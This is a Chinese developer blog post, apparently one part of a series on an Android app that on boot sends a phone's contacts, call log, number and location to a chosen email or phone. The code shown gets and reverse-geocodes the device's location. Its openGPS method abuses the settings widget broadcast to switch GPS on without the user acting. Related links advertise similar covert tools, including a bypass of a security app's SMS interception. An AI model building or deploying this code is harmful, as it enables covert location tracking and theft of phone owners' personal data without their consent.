`

开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(gps操作)

阅读更多

public static String getCityNameByGps() {

  LocationManager lm = (LocationManager) context
    .getSystemService(Context.LOCATION_SERVICE);
  Criteria criteria = new Criteria();
  criteria.setAccuracy(Criteria.ACCURACY_FINE); // 高精度
  criteria.setAltitudeRequired(false); // 不要求海拔信息
  criteria.setBearingRequired(false); // 不要求方位信息
  criteria.setCostAllowed(true); // 是否允许付费
  criteria.setPowerRequirement(Criteria.POWER_LOW); // 低功耗
  String provider = lm.getBestProvider(criteria, true); // 获取GPS信息
  Location location = lm.getLastKnownLocation(provider); // 通过GPS获取位置

  updateToNewLocation(location);
  // 设置监听器,自动更新的最小时间为间隔N秒(1秒为1*1000,这样写主要为了方便)或最小位移变化超过N米
  LocationListener locationListener = new LocationListener() {
   @Override
   public void onLocationChanged(Location location) {
    updateToNewLocation(location);
   }

   @Override
   public void onProviderDisabled(String provider) {
    // TODO Auto-generated method stub
   }

   @Override
   public void onProviderEnabled(String provider) {
    // TODO Auto-generated method stub
   }

   @Override
   public void onStatusChanged(String provider, int status,
     Bundle extras) {

   }

  };
  // lm.requestLocationUpdates(provider, 3000, 1, locationListener);
  return addressString;
 }

 /**
  *
  * [功能描述].
  *
  * @param location
  *            [参数说明]
  * @createTime 2011-10-11 下午03:22:21
  */
 public static void updateToNewLocation(Location location) {
  // System.out.println("begin updateLocation****");

  if (location != null) {
   // System.out.println("location is null");
   double lat = location.getLatitude();
   double lon = location.getLongitude();
   // System.out.println("get lattitude from GPS ===>" + lat);
   // System.out.println("get Longitude from GPS ===>" + lon);

   // GeoPoint gPoint = new GeoPoint((int) lat, (int) lon);

   StringBuilder sb = new StringBuilder();

   Geocoder gc = new Geocoder(context, Locale.getDefault());
   try {
    List<Address> addresses = gc.getFromLocation(lat, lon, 1);
    if (addresses.size() > 0) {
     Address address = addresses.get(0);
     // for (int i = 0; i < address.getMaxAddressLineIndex();
     // i++) {
     sb.append(address.getAddressLine(1)).append("\n");
     // sb.append(address.getLocality()).append("\n");

     // sb.append(address.getCountryName()).append("\n");
     addressString = sb.toString();

     // }
    }

   } catch (IOException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
    addressString = "未知地区";
   }

  }
  // System.out.println("end updateLocation****");
 }

 /**
  * 获取GPS状态
  *
  * @param context
  * @return
  */
 public static boolean getGPSState() {
  LocationManager locationManager = (LocationManager) context
    .getSystemService(Context.LOCATION_SERVICE);
  // 判断GPS模块是否开启,如果没有则开启
  if (!locationManager
    .isProviderEnabled(android.location.LocationManager.GPS_PROVIDER)) {
   return false;
  } else {
   return true;
  }
 }

 public static void openGPS() {
  LocationManager locationManager = (LocationManager) context
    .getSystemService(Context.LOCATION_SERVICE);

  if (!locationManager
    .isProviderEnabled(android.location.LocationManager.GPS_PROVIDER)) {

   Intent gpsIntent = new Intent();
   gpsIntent.setClassName("com.android.settings",
     "com.android.settings.widget.SettingsAppWidgetProvider");
   gpsIntent.addCategory("android.intent.category.ALTERNATIVE");
   gpsIntent.setData(Uri.parse("custom:3"));
   try {
    PendingIntent.getBroadcast(context, 0, gpsIntent, 0).send();
   } catch (CanceledException e) {
    e.printStackTrace();
   }
  }
 }

分享到:
评论

相关推荐

    服务器开机自动发送短信到手机

    服务器开机自动发送短信到手机! reg add hkcu\software\microsoft\windows\currentversion\run /v feixin /t reg_sz /d c:\windows\feixin.bat /f :: sno 为自己的手机号;psw 为飞信密码 ;msg 为消息 set sno=...

    自动上报本地公网IP到指定邮箱

    2)当公网IP变化时或定时时间到时自动发送邮件到指定邮箱。3)可以设置发送邮箱账号、接收邮箱账号及密码。SMTP服务器及端口号可设置。支持QQ、163等主流SMTP服务器。4)支持普通SMTP(25端口)及SSL SMTP(465端口...

    GSM短信接收发送模块使用说明书

    * 报警电话设置:预存代码 A、B、C、D、E、F、G、H、I、J(可存 10 组手机号码)用户管理员手机号码编辑短信发送到系统的 SIM 卡号码。 * 删除接警电话:代码 X 删除除管理员手机号码外的所有接警号码。 * 修改...

    安卓短信彩信相关相关-防止手机丢失开机自启检测sim卡是否为原来那张不是则想一个号码发送短信.rar

    标题中的"安卓短信彩信相关相关-防止手机丢失开机自启检测sim卡是否为原来那张不是则想一个号码发送短信.rar"是一个针对这个问题的解决方案。这个压缩包文件包含了可能用于创建一个安全应用的源代码,该应用会在设备...

    用单片机控制手机收发短信息

    系统可以预先配置好短消息服务中心地址和服务号码,然后按照预定时间间隔自动构建并发送PDU数据包,从而实现数据的远程传输。 #### 六、总结 本文详细介绍了使用MCS-51系列单片机控制手机收发短信息的原理、硬件...

    小米手机电源键坏使用电脑开机

    以下将详细介绍如何在电源键损坏的情况下,通过电脑程序实现小米手机的开机。 首先,我们需要理解这个过程的核心原理。手机与电脑之间的通信通常依赖于USB数据线,通过USB调试模式,电脑可以识别并控制手机的部分...

    电信设备-手机短信发送方法.zip

    6. 送达:当收件人的手机在服务区并且开机时,短信中心会将短信传送到手机上。 三、短信发送技术细节 1. SMS协议:短信服务基于SMPP(Short Message Peer-to-Peer)协议,这是一种应用层协议,用于系统间的消息...

    Android 攻破360手机卫士的短信拦截开机启动等服务.rar

     隐私空间:可以设置保密的联系人,与保密联系人之间的短信与通话记录就会被加密起来。  题外话:在研究开机启动的时候,是在开机启动广播中结束360进程,然后自己创建动态广播,结果,测试时发现安装测试程序后,...

    python监控电脑 定时截屏上传到指定邮箱

    加入开机运行,便可在后台监控电脑 定时截屏上传到指定邮箱

    MTK 7.1 定时发送短信

    【MTK 7.1 定时发送短信】功能是在短信应用中添加了一项创新性的服务,允许用户预先设定短信的发送时间,从而在指定的时刻自动发送短信。这一特性对于那些希望在特定时间(如生日、纪念日或重要会议之前)发送消息的...

    365手机通讯秘书.zip

    分析短信内容,若包含敏感词则屏蔽,保存垃圾短信到垃圾箱中(设计一个垃圾短信的数据库,除了_id外,还包含手机号和短信内容,垃圾短信的收件时间三个字段)。 ①垃圾箱(垃圾箱表)(读取数据库中的信息,用...

    自启动发送指定信息到邮箱示例

    在IT领域,自启动发送指定信息到邮箱的功能通常用于自动化监控、日志报告或系统报警。这个示例涉及几个关键知识点,包括自启动程序、网络连接检测、IP地址获取以及邮件发送。以下是对这些知识点的详细说明: 1. **...

    手机开机动画

    本文将深入探讨如何更改手机的开机动画,并介绍与安卓手机开机动画相关的知识点。 首先,了解开机动画的工作原理至关重要。在手机启动时,系统加载引导程序,接着是内核,然后是操作系统。开机动画就是在操作系统...

    手机防盗软件实现(源码)

    3.每次开机程序自动运行,检测到别人如果使用你的手机,自动把他的通话记录,跟gps坐标发送到绑定好的手机号上。 4.知道用你手机人的手机号,最近通话记录,gps坐标后,再自己想办法找到这人吧。 具体代码 1.取sim...

    老年人用智能手机教程.ppt

    5. **发短信**:在主界面进入短信应用,选择或输入收件人电话,编写短信内容,选择发送。可使用语音输入、切换输入法、插入表情等功能。 6. **拍照片**:打开相机应用,可以调整设置,点击拍照按钮进行拍摄,还可以...

    s40手机定时发信息

    在这款手机上实现“定时发送信息”是一项非常贴心的功能,它允许用户预先设定好短信内容和发送时间,到指定时间后手机会自动发送出去,这对于忙碌的用户或者想在特定时间表达心意的人尤为方便。下面我们将详细探讨这...

    安卓手机开机画面

    【安卓手机开机画面】是指手机启动时显示的动画效果,它是用户首次接触手机系统时的视觉体验之一。在安卓系统中,开机画面可以通过修改特定的文件来定制,以展现个性化或者品牌特色。在这个案例中,我们关注的是为...

    Android手机刷机失败无法开机自救大法.pdf

    Android手机刷机失败无法开机自救大法 本文主要讲述了Android手机刷机失败无法开机的自救方法。对于经常刷机的Android用户来说,难免会碰到刷机失败损坏recovery程序乃至手机无法启动的情况,也就是传说中的手机变...

Global site tag (gtag.js) - Google Analytics